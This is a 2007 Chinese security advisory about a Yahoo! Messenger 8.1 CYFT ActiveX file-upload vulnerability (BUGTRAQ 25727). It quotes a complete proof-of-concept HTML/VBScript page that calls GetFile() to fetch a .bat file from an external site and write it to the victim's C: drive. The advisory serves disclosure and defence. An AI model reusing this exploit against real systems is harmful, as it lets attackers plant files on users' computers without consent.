您现在的位置： IT专家网 > 安全子站 > 评论分析

雅虎通ActiveX控件存在文件上传漏洞

作者: 绿盟, 　出处:IT专家网,　责任编辑: 张帅,　

2007-09-21 10:40

　　雅虎通是一款非常流行的即时通讯工具。雅虎通的CYFT ActiveX控件实现上存在漏洞，远程攻击者可能利用此漏洞向用户系统上传任意文件……

　　受影响系统：

　　Yahoo! Messenger 8.1.421

　　描述：

　　BUGTRAQ ID: 25727

　　雅虎通是一款非常流行的即时通讯工具。

　　雅虎通的CYFT ActiveX控件实现上存在漏洞，远程攻击者可能利用此漏洞向用户系统上传任意文件。

　　CYFT ActiveX控件的GetFile()方式没有对用户提交的参数做充分的检查过滤，远程攻击者可以通过提供畸形参数向用户系统的任意位置上传任意文件，但是相关的控件默认情况下不能远程调用。

<*来源：shinnai

　　测试方法：

　　警告

　　以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负!

　　shinnai (shinnai@autistici.org)提供了如下测试方法：

<pre>
<code><body bgcolor="#E0E0E0">-----------------------------------------------------------------------------
Yahoo! Messenger 8.1.0.421 CYFT Object (ft60.dll) Arbitrary File Download
url: http://download.yahoo.com/dl/msgr8/us/ymsgr8us.exe

Author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org

This was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.

Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7

Marked as:
RegKey Safe for Script: False
RegkeySafe for Init: False
KillBitSet: False

From remote: depends by Internet Explorer settings
From local: yes

Description:
This contron contains a "GetFile()" method which allows to download, on
user's pc, an arbitrary file pased as argument.
Remote execution depends by Internet Explorer settings, local execution
works very well.

greetz to: skyhole (or YAG KOHHA) for inspiration
-----------------------------------------------------------------------------
<object classid='clsid:24F3EAD6-8B87-4C1A-97DA-71C126BDA08F' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
 Sub tryMe
 test.GetFile "http://www.shinnai.altervista.org/shinnai.bat","c:\\shinnai.bat",5,1,"shinnai"
 MsgBox "Exploit completed"
 End Sub
</script>

</code></pre>

　　建议：

　　厂商补丁：

　　Yahoo!

　　------

　　目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

　　http://messenger.yahoo.com/